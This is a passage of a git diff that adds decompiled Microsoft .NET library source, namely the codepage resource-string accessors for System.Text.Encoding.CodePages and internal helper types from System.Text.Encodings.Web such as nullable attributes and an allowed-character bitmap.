Globalization_cp_949 => GetResourceString("Globalization_cp_949"); + + internal static string Globalization_cp_950 => GetResourceString("Globalization_cp_950"); + + internal static string Globalization_cp_1026 => GetResourceString("Globalization_cp_1026"); + + internal static string Globalization_cp_1047 => GetResourceString("Globalization_cp_1047"); + + internal static string Globalization_cp_1140 => GetResourceString("Globalization_cp_1140"); + + internal static string Globalization_cp_1141 => GetResourceString("Globalization_cp_1141"); + + internal static string Globalization_cp_1142 => GetResourceString("Globalization_cp_1142"); + + internal static string Globalization_cp_1143 => GetResourceString("Globalization_cp_1143"); + + internal static string Globalization_cp_1144 => GetResourceString("Globalization_cp_1144"); + + internal static string Globalization_cp_1145 => GetResourceString("Globalization_cp_1145"); + + internal static string Globalization_cp_1146 => GetResourceString("Globalization_cp_1146"); + + internal static string Globalization_cp_1147 => GetResourceString("Globalization_cp_1147"); + + internal static string Globalization_cp_1148 => GetResourceString("Globalization_cp_1148"); + + internal static string Globalization_cp_1149 => GetResourceString("Globalization_cp_1149"); + + internal static string Globalization_cp_1250 => GetResourceString("Globalization_cp_1250"); + + internal static string Globalization_cp_1251 => GetResourceString("Globalization_cp_1251"); + + internal static string Globalization_cp_1252 => GetResourceString("Globalization_cp_1252"); + + internal static string Globalization_cp_1253 => GetResourceString("Globalization_cp_1253"); + + internal static string Globalization_cp_1254 => GetResourceString("Globalization_cp_1254"); + + internal static string Globalization_cp_1255 => GetResourceString("Globalization_cp_1255"); + + internal static string Globalization_cp_1256 => GetResourceString("Globalization_cp_1256"); + + internal static string Globalization_cp_1257 => GetResourceString("Globalization_cp_1257"); + + internal static string Globalization_cp_1258 => GetResourceString("Globalization_cp_1258"); + + internal static string Globalization_cp_1361 => GetResourceString("Globalization_cp_1361"); + + internal static string Globalization_cp_10000 => GetResourceString("Globalization_cp_10000"); + + internal static string Globalization_cp_10001 => GetResourceString("Globalization_cp_10001"); + + internal static string Globalization_cp_10002 => GetResourceString("Globalization_cp_10002"); + + internal static string Globalization_cp_10003 => GetResourceString("Globalization_cp_10003"); + + internal static string Globalization_cp_10004 => GetResourceString("Globalization_cp_10004"); + + internal static string Globalization_cp_10005 => GetResourceString("Globalization_cp_10005"); + + internal static string Globalization_cp_10006 => GetResourceString("Globalization_cp_10006"); + + internal static string Globalization_cp_10007 => GetResourceString("Globalization_cp_10007"); + + internal static string Globalization_cp_10008 => GetResourceString("Globalization_cp_10008"); + + internal static string Globalization_cp_10010 => GetResourceString("Globalization_cp_10010"); + + internal static string Globalization_cp_10017 => GetResourceString("Globalization_cp_10017"); + + internal static string Globalization_cp_10021 => GetResourceString("Globalization_cp_10021"); + + internal static string Globalization_cp_10029 => GetResourceString("Globalization_cp_10029"); + + internal static string Globalization_cp_10079 => GetResourceString("Globalization_cp_10079"); + + internal static string Globalization_cp_10081 => GetResourceString("Globalization_cp_10081"); + + internal static string Globalization_cp_10082 => GetResourceString("Globalization_cp_10082"); + + internal static string Globalization_cp_20000 => GetResourceString("Globalization_cp_20000"); + + internal static string Globalization_cp_20001 => GetResourceString("Globalization_cp_20001"); + + internal static string Globalization_cp_20002 => GetResourceString("Globalization_cp_20002"); + + internal static string Globalization_cp_20003 => GetResourceString("Globalization_cp_20003"); + + internal static string Globalization_cp_20004 => GetResourceString("Globalization_cp_20004"); + + internal static string Globalization_cp_20005 => GetResourceString("Globalization_cp_20005"); + + internal static string Globalization_cp_20105 => GetResourceString("Globalization_cp_20105"); + + internal static string Globalization_cp_20106 => GetResourceString("Globalization_cp_20106"); + + internal static string Globalization_cp_20107 => GetResourceString("Globalization_cp_20107"); + + internal static string Globalization_cp_20108 => GetResourceString("Globalization_cp_20108"); + + internal static string Globalization_cp_20261 => GetResourceString("Globalization_cp_20261"); + + internal static string Globalization_cp_20269 => GetResourceString("Globalization_cp_20269"); + + internal static string Globalization_cp_20273 => GetResourceString("Globalization_cp_20273"); + + internal static string Globalization_cp_20277 => GetResourceString("Globalization_cp_20277"); + + internal static string Globalization_cp_20278 => GetResourceString("Globalization_cp_20278"); + + internal static string Globalization_cp_20280 => GetResourceString("Globalization_cp_20280"); + + internal static string Globalization_cp_20284 => GetResourceString("Globalization_cp_20284"); + + internal static string Globalization_cp_20285 => GetResourceString("Globalization_cp_20285"); + + internal static string Globalization_cp_20290 => GetResourceString("Globalization_cp_20290"); + + internal static string Globalization_cp_20297 => GetResourceString("Globalization_cp_20297"); + + internal static string Globalization_cp_20420 => GetResourceString("Globalization_cp_20420"); + + internal static string Globalization_cp_20423 => GetResourceString("Globalization_cp_20423"); + + internal static string Globalization_cp_20424 => GetResourceString("Globalization_cp_20424"); + + internal static string Globalization_cp_20833 => GetResourceString("Globalization_cp_20833"); + + internal static string Globalization_cp_20838 => GetResourceString("Globalization_cp_20838"); + + internal static string Globalization_cp_20866 => GetResourceString("Globalization_cp_20866"); + + internal static string Globalization_cp_20871 => GetResourceString("Globalization_cp_20871"); + + internal static string Globalization_cp_20880 => GetResourceString("Globalization_cp_20880"); + + internal static string Globalization_cp_20905 => GetResourceString("Globalization_cp_20905"); + + internal static string Globalization_cp_20924 => GetResourceString("Globalization_cp_20924"); + + internal static string Globalization_cp_20932 => GetResourceString("Globalization_cp_20932"); + + internal static string Globalization_cp_20936 => GetResourceString("Globalization_cp_20936"); + + internal static string Globalization_cp_20949 => GetResourceString("Globalization_cp_20949"); + + internal static string Globalization_cp_21025 => GetResourceString("Globalization_cp_21025"); + + internal static string Globalization_cp_21027 => GetResourceString("Globalization_cp_21027"); + + internal static string Globalization_cp_21866 => GetResourceString("Globalization_cp_21866"); + + internal static string Globalization_cp_28592 => GetResourceString("Globalization_cp_28592"); + + internal static string Globalization_cp_28593 => GetResourceString("Globalization_cp_28593"); + + internal static string Globalization_cp_28594 => GetResourceString("Globalization_cp_28594"); + + internal static string Globalization_cp_28595 => GetResourceString("Globalization_cp_28595"); + + internal static string Globalization_cp_28596 => GetResourceString("Globalization_cp_28596"); + + internal static string Globalization_cp_28597 => GetResourceString("Globalization_cp_28597"); + + internal static string Globalization_cp_28598 => GetResourceString("Globalization_cp_28598"); + + internal static string Globalization_cp_28599 => GetResourceString("Globalization_cp_28599"); + + internal static string Globalization_cp_28603 => GetResourceString("Globalization_cp_28603"); + + internal static string Globalization_cp_28605 => GetResourceString("Globalization_cp_28605"); + + internal static string Globalization_cp_29001 => GetResourceString("Globalization_cp_29001"); + + internal static string Globalization_cp_38598 => GetResourceString("Globalization_cp_38598"); + + internal static string Globalization_cp_50000 => GetResourceString("Globalization_cp_50000"); + + internal static string Globalization_cp_50220 => GetResourceString("Globalization_cp_50220"); + + internal static string Globalization_cp_50221 => GetResourceString("Globalization_cp_50221"); + + internal static string Globalization_cp_50222 => GetResourceString("Globalization_cp_50222"); + + internal static string Globalization_cp_50225 => GetResourceString("Globalization_cp_50225"); + + internal static string Globalization_cp_50227 => GetResourceString("Globalization_cp_50227"); + + internal static string Globalization_cp_50229 => GetResourceString("Globalization_cp_50229"); + + internal static string Globalization_cp_50930 => GetResourceString("Globalization_cp_50930"); + + internal static string Globalization_cp_50931 => GetResourceString("Globalization_cp_50931"); + + internal static string Globalization_cp_50933 => GetResourceString("Globalization_cp_50933"); + + internal static string Globalization_cp_50935 => GetResourceString("Globalization_cp_50935"); + + internal static string Globalization_cp_50937 => GetResourceString("Globalization_cp_50937"); + + internal static string Globalization_cp_50939 => GetResourceString("Globalization_cp_50939"); + + internal static string Globalization_cp_51932 => GetResourceString("Globalization_cp_51932"); + + internal static string Globalization_cp_51936 => GetResourceString("Globalization_cp_51936"); + + internal static string Globalization_cp_51949 => GetResourceString("Globalization_cp_51949"); + + internal static string Globalization_cp_52936 => GetResourceString("Globalization_cp_52936"); + + internal static string Globalization_cp_54936 => GetResourceString("Globalization_cp_54936"); + + internal static string Globalization_cp_57002 => GetResourceString("Globalization_cp_57002"); + + internal static string Globalization_cp_57003 => GetResourceString("Globalization_cp_57003"); + + internal static string Globalization_cp_57004 => GetResourceString("Globalization_cp_57004"); + + internal static string Globalization_cp_57005 => GetResourceString("Globalization_cp_57005"); + + internal static string Globalization_cp_57006 => GetResourceString("Globalization_cp_57006"); + + internal static string Globalization_cp_57007 => GetResourceString("Globalization_cp_57007"); + + internal static string Globalization_cp_57008 => GetResourceString("Globalization_cp_57008"); + + internal static string Globalization_cp_57009 => GetResourceString("Globalization_cp_57009"); + + internal static string Globalization_cp_57010 => GetResourceString("Globalization_cp_57010"); + + internal static string Globalization_cp_57011 => GetResourceString("Globalization_cp_57011"); + + private static bool UsingResourceKeys() + { + return s_usingResourceKeys; + } + + internal static string GetResourceString(string resourceKey) + { + if (UsingResourceKeys()) + { + return resourceKey; + } + string result = null; + try + { + result = ResourceManager.GetString(resourceKey); + } + catch (MissingManifestResourceException) + { + } + return result; + } + + internal static string GetResourceString(string resourceKey, string defaultString) + { + string resourceString = GetResourceString(resourceKey); + if (!(resourceKey == resourceString) && resourceString != null) + { + return resourceString; + } + return defaultString; + } + + internal static string Format(string resourceFormat, object p1) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[2] { resourceFormat, p1 }); + } + return string.Format(resourceFormat, p1); + } + + internal static string Format(string resourceFormat, object p1, object p2) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[3] { resourceFormat, p1, p2 }); + } + return string.Format(resourceFormat, p1, p2); + } + + internal static string Format(string resourceFormat, object p1, object p2, object p3) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[4] { resourceFormat, p1, p2, p3 }); + } + return string.Format(resourceFormat, p1, p2, p3); + } + + internal static string Format(string resourceFormat, params object[] args) + { + if (args != null) + { + if (UsingResourceKeys()) + { + return resourceFormat + ", " + string.Join(", ", args); + } + return string.Format(resourceFormat, args); + } + return resourceFormat; + } + + internal static string Format(IFormatProvider provider, string resourceFormat, object p1) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[2] { resourceFormat, p1 }); + } + return string.Format(provider, resourceFormat, p1); + } + + internal static string Format(IFormatProvider provider, string resourceFormat, object p1, object p2) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[3] { resourceFormat, p1, p2 }); + } + return string.Format(provider, resourceFormat, p1, p2); + } + + internal static string Format(IFormatProvider provider, string resourceFormat, object p1, object p2, object p3) + { + if (UsingResourceKeys()) + { + return string.Join(", ", new object[4] { resourceFormat, p1, p2, p3 }); + } + return string.Format(provider, resourceFormat, p1, p2, p3); + } + + internal static string Format(IFormatProvider provider, string resourceFormat, params object[] args) + { + if (args != null) + { + if (UsingResourceKeys()) + { + return resourceFormat + ", " + string.Join(", ", args); + } + return string.Format(provider, resourceFormat, args); + } + return resourceFormat; + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/codepages.nlp b/decompiled/Libraries/system.text.encoding.codepages/codepages.nlp new file mode 100644 index 0000000..eb9fb0b Binary files /dev/null and b/decompiled/Libraries/system.text.encoding.codepages/codepages.nlp differ diff --git a/decompiled/Libraries/system.text.encoding.codepages/costura.system.text.encoding.codepages.csproj b/decompiled/Libraries/system.text.encoding.codepages/costura.system.text.encoding.codepages.csproj new file mode 100644 index 0000000..45e29cf --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/costura.system.text.encoding.codepages.csproj @@ -0,0 +1,28 @@ + + + System.Text.Encoding.CodePages + False + net462 + + + 14.0 + True + False + + + + + + + + + + + + + ../../../../../../../usr/local/share/dotnet/shared/Microsoft.NETCore.App/10.0.5/System.Core.dll + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/system.text.encodings.web/.DS_Store b/decompiled/Libraries/system.text.encodings.web/.DS_Store new file mode 100644 index 0000000..5377d89 Binary files /dev/null and b/decompiled/Libraries/system.text.encodings.web/.DS_Store differ diff --git a/decompiled/Libraries/system.text.encodings.web/FxResources.System.Text.Encodings.Web.SR.resx b/decompiled/Libraries/system.text.encodings.web/FxResources.System.Text.Encodings.Web.SR.resx new file mode 100644 index 0000000..99b28db --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/FxResources.System.Text.Encodings.Web.SR.resx @@ -0,0 +1,31 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089TextEncoder does not implement MaxOutputCharsPerInputChar correctly. + \ No newline at end of file diff --git a/decompiled/Libraries/system.text.encodings.web/FxResources.System.Text.Encodings.Web/SR.cs b/decompiled/Libraries/system.text.encodings.web/FxResources.System.Text.Encodings.Web/SR.cs new file mode 100644 index 0000000..46eee5c --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/FxResources.System.Text.Encodings.Web/SR.cs @@ -0,0 +1,5 @@ +namespace FxResources.System.Text.Encodings.Web; + +internal static class SR +{ +} diff --git a/decompiled/Libraries/system.text.encodings.web/ILLink.Substitutions.xml b/decompiled/Libraries/system.text.encodings.web/ILLink.Substitutions.xml new file mode 100644 index 0000000..7808bbc --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/ILLink.Substitutions.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/system.text.encodings.web/Microsoft.CodeAnalysis/EmbeddedAttribute.cs b/decompiled/Libraries/system.text.encodings.web/Microsoft.CodeAnalysis/EmbeddedAttribute.cs new file mode 100644 index 0000000..eb4430f --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/Microsoft.CodeAnalysis/EmbeddedAttribute.cs @@ -0,0 +1,10 @@ +using System; +using System.Runtime.CompilerServices; + +namespace Microsoft.CodeAnalysis; + +[CompilerGenerated] +[Embedded] +internal sealed class EmbeddedAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.text.encodings.web/Properties/AssemblyInfo.cs b/decompiled/Libraries/system.text.encodings.web/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..88ad276 --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/Properties/AssemblyInfo.cs @@ -0,0 +1,27 @@ +using System; +using System.Diagnostics; +using System.Reflection; +using System.Resources; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Runtime.Versioning; +using System.Security; +using System.Security.Permissions; + +[assembly: AssemblyMetadata("Serviceable", "True")] +[assembly: AssemblyMetadata("PreferInbox", "True")] +[assembly: AssemblyDefaultAlias("System.Text.Encodings.Web")] +[assembly: NeutralResourcesLanguage("en-US")] +[assembly: CLSCompliant(true)] +[assembly: AssemblyMetadata("IsTrimmable", "True")] +[assembly: DefaultDllImportSearchPaths(DllImportSearchPath.System32 | DllImportSearchPath.AssemblyDirectory)] +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyDescription("Provides types for encoding and escaping strings for use in JavaScript, HyperText Markup Language (HTML), and uniform resource locators (URL).\r\n\r\nCommonly Used Types:\r\nSystem.Text.Encodings.Web.HtmlEncoder\r\nSystem.Text.Encodings.Web.UrlEncoder\r\nSystem.Text.Encodings.Web.JavaScriptEncoder")] +[assembly: AssemblyFileVersion("8.0.23.53103")] +[assembly: AssemblyInformationalVersion("8.0.0+5535e31a712343a63f5d7d796cd874e563e5ac14")] +[assembly: AssemblyProduct("Microsoft® .NET")] +[assembly: AssemblyTitle("System.Text.Encodings.Web")] +[assembly: AssemblyMetadata("RepositoryUrl", "https://github.com/dotnet/runtime")] +[assembly: AssemblyVersion("8.0.0.0")] +[module: NullablePublicOnly(false)] diff --git a/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/AllowNullAttribute.cs b/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/AllowNullAttribute.cs new file mode 100644 index 0000000..6189a22 --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/AllowNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter, Inherited = false)] +internal sealed class AllowNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/DisallowNullAttribute.cs b/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/DisallowNullAttribute.cs new file mode 100644 index 0000000..15b3a21 --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/DisallowNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter, Inherited = false)] +internal sealed class DisallowNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/DoesNotReturnAttribute.cs b/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/DoesNotReturnAttribute.cs new file mode 100644 index 0000000..e3b3818 --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/DoesNotReturnAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Method, Inherited = false)] +internal sealed class DoesNotReturnAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/DoesNotReturnIfAttribute.cs b/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/DoesNotReturnIfAttribute.cs new file mode 100644 index 0000000..cee0e47 --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/DoesNotReturnIfAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Parameter, Inherited = false)] +internal sealed class DoesNotReturnIfAttribute : Attribute +{ + public bool ParameterValue { get; } + + public DoesNotReturnIfAttribute(bool parameterValue) + { + ParameterValue = parameterValue; + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/MaybeNullAttribute.cs b/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/MaybeNullAttribute.cs new file mode 100644 index 0000000..a25d17e --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/MaybeNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter | AttributeTargets.ReturnValue, Inherited = false)] +internal sealed class MaybeNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/MaybeNullWhenAttribute.cs b/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/MaybeNullWhenAttribute.cs new file mode 100644 index 0000000..f637f90 --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/MaybeNullWhenAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Parameter, Inherited = false)] +internal sealed class MaybeNullWhenAttribute : Attribute +{ + public bool ReturnValue { get; } + + public MaybeNullWhenAttribute(bool returnValue) + { + ReturnValue = returnValue; + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/MemberNotNullAttribute.cs b/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/MemberNotNullAttribute.cs new file mode 100644 index 0000000..64cf83f --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/MemberNotNullAttribute.cs @@ -0,0 +1,17 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Method | AttributeTargets.Property, Inherited = false, AllowMultiple = true)] +internal sealed class MemberNotNullAttribute : Attribute +{ + public string[] Members { get; } + + public MemberNotNullAttribute(string member) + { + Members = new string[1] { member }; + } + + public MemberNotNullAttribute(params string[] members) + { + Members = members; + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/MemberNotNullWhenAttribute.cs b/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/MemberNotNullWhenAttribute.cs new file mode 100644 index 0000000..ee71d72 --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/MemberNotNullWhenAttribute.cs @@ -0,0 +1,21 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Method | AttributeTargets.Property, Inherited = false, AllowMultiple = true)] +internal sealed class MemberNotNullWhenAttribute : Attribute +{ + public bool ReturnValue { get; } + + public string[] Members { get; } + + public MemberNotNullWhenAttribute(bool returnValue, string member) + { + ReturnValue = returnValue; + Members = new string[1] { member }; + } + + public MemberNotNullWhenAttribute(bool returnValue, params string[] members) + { + ReturnValue = returnValue; + Members = members; + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/NotNullAttribute.cs b/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/NotNullAttribute.cs new file mode 100644 index 0000000..d096bc2 --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/NotNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter | AttributeTargets.ReturnValue, Inherited = false)] +internal sealed class NotNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/NotNullIfNotNullAttribute.cs b/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/NotNullIfNotNullAttribute.cs new file mode 100644 index 0000000..e269971 --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/NotNullIfNotNullAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Parameter | AttributeTargets.ReturnValue, AllowMultiple = true, Inherited = false)] +internal sealed class NotNullIfNotNullAttribute : Attribute +{ + public string ParameterName { get; } + + public NotNullIfNotNullAttribute(string parameterName) + { + ParameterName = parameterName; + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/NotNullWhenAttribute.cs b/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/NotNullWhenAttribute.cs new file mode 100644 index 0000000..8923436 --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Diagnostics.CodeAnalysis/NotNullWhenAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Parameter, Inherited = false)] +internal sealed class NotNullWhenAttribute : Attribute +{ + public bool ReturnValue { get; } + + public NotNullWhenAttribute(bool returnValue) + { + ReturnValue = returnValue; + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.IO/TextWriterExtensions.cs b/decompiled/Libraries/system.text.encodings.web/System.IO/TextWriterExtensions.cs new file mode 100644 index 0000000..56732d3 --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.IO/TextWriterExtensions.cs @@ -0,0 +1,20 @@ +using System.Buffers; + +namespace System.IO; + +internal static class TextWriterExtensions +{ + public static void WritePartialString(this TextWriter writer, string value, int offset, int count) + { + if (offset == 0 && count == value.Length) + { + writer.Write(value); + return; + } + ReadOnlySpan readOnlySpan = value.AsSpan(offset, count); + char[] array = ArrayPool.Shared.Rent(readOnlySpan.Length); + readOnlySpan.CopyTo(array); + writer.Write(array, 0, readOnlySpan.Length); + ArrayPool.Shared.Return(array); + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Numerics/BitOperations.cs b/decompiled/Libraries/system.text.encodings.web/System.Numerics/BitOperations.cs new file mode 100644 index 0000000..45e1920 --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Numerics/BitOperations.cs @@ -0,0 +1,31 @@ +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +namespace System.Numerics; + +internal static class BitOperations +{ + private static ReadOnlySpan Log2DeBruijn => new byte[32] + { + 0, 9, 1, 10, 13, 21, 2, 29, 11, 14, + 16, 18, 22, 25, 3, 30, 8, 12, 20, 28, + 15, 17, 24, 7, 19, 27, 23, 6, 26, 5, + 4, 31 + }; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int Log2(uint value) + { + return Log2SoftwareFallback(value | 1); + } + + private static int Log2SoftwareFallback(uint value) + { + value |= value >> 1; + value |= value >> 2; + value |= value >> 4; + value |= value >> 8; + value |= value >> 16; + return Unsafe.AddByteOffset(ref MemoryMarshal.GetReference(Log2DeBruijn), (nint)(value * 130329821 >> 27)); + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Runtime.CompilerServices/NullablePublicOnlyAttribute.cs b/decompiled/Libraries/system.text.encodings.web/System.Runtime.CompilerServices/NullablePublicOnlyAttribute.cs new file mode 100644 index 0000000..b1e6bfb --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Runtime.CompilerServices/NullablePublicOnlyAttribute.cs @@ -0,0 +1,16 @@ +using Microsoft.CodeAnalysis; + +namespace System.Runtime.CompilerServices; + +[CompilerGenerated] +[Embedded] +[AttributeUsage(AttributeTargets.Module, AllowMultiple = false, Inherited = false)] +internal sealed class NullablePublicOnlyAttribute : Attribute +{ + public readonly bool IncludesInternals; + + public NullablePublicOnlyAttribute(bool P_0) + { + IncludesInternals = P_0; + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Runtime.InteropServices/LibraryImportAttribute.cs b/decompiled/Libraries/system.text.encodings.web/System.Runtime.InteropServices/LibraryImportAttribute.cs new file mode 100644 index 0000000..d549164 --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Runtime.InteropServices/LibraryImportAttribute.cs @@ -0,0 +1,20 @@ +namespace System.Runtime.InteropServices; + +[AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = false)] +internal sealed class LibraryImportAttribute : Attribute +{ + public string LibraryName { get; } + + public string EntryPoint { get; set; } + + public StringMarshalling StringMarshalling { get; set; } + + public Type StringMarshallingCustomType { get; set; } + + public bool SetLastError { get; set; } + + public LibraryImportAttribute(string libraryName) + { + LibraryName = libraryName; + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Runtime.InteropServices/StringMarshalling.cs b/decompiled/Libraries/system.text.encodings.web/System.Runtime.InteropServices/StringMarshalling.cs new file mode 100644 index 0000000..b8bc953 --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Runtime.InteropServices/StringMarshalling.cs @@ -0,0 +1,8 @@ +namespace System.Runtime.InteropServices; + +internal enum StringMarshalling +{ + Custom, + Utf8, + Utf16 +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/AllowedBmpCodePointsBitmap.cs b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/AllowedBmpCodePointsBitmap.cs new file mode 100644 index 0000000..cc3767d --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/AllowedBmpCodePointsBitmap.cs @@ -0,0 +1,84 @@ +using System.Buffers.Binary; +using System.Runtime.CompilerServices; +using System.Text.Unicode; + +namespace System.Text.Encodings.Web; + +internal struct AllowedBmpCodePointsBitmap +{ + private const int BitmapLengthInDWords = 2048; + + private unsafe fixed uint Bitmap[2048]; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public unsafe void AllowChar(char value) + { + _GetIndexAndOffset(value, out UIntPtr index, out int offset); + ref uint reference = ref Bitmap[(ulong)index]; + reference |= (uint)(1 << offset); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public unsafe void ForbidChar(char value) + { + _GetIndexAndOffset(value, out UIntPtr index, out int offset); + ref uint reference = ref Bitmap[(ulong)index]; + reference &= (uint)(~(1 << offset)); + } + + public void ForbidHtmlCharacters() + { + ForbidChar('<'); + ForbidChar('>'); + ForbidChar('&'); + ForbidChar('\''); + ForbidChar('"'); + ForbidChar('+'); + } + + public unsafe void ForbidUndefinedCharacters() + { + fixed (uint* bitmap = Bitmap) + { + ReadOnlySpan definedBmpCodePointsBitmapLittleEndian = UnicodeHelpers.GetDefinedBmpCodePointsBitmapLittleEndian(); + Span span = new Span(bitmap, 2048); + for (int i = 0; i < span.Length; i++) + { + span[i] &= BinaryPrimitives.ReadUInt32LittleEndian(definedBmpCodePointsBitmapLittleEndian.Slice(i * 4)); + } + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public unsafe readonly bool IsCharAllowed(char value) + { + _GetIndexAndOffset(value, out UIntPtr index, out int offset); + if ((Bitmap[(ulong)index] & (uint)(1 << offset)) != 0) + { + return true; + } + return false; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public unsafe readonly bool IsCodePointAllowed(uint value) + { + if (!System.Text.UnicodeUtility.IsBmpCodePoint(value)) + { + return false; + } + _GetIndexAndOffset(value, out UIntPtr index, out int offset); + if ((Bitmap[(ulong)index] & (uint)(1 << offset)) != 0) + { + return true; + } + return false; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static void _GetIndexAndOffset(uint value, out nuint index, out int offset) + { + index = value >> 5; + offset = (int)(value & 0x1F); + } +} diff --git 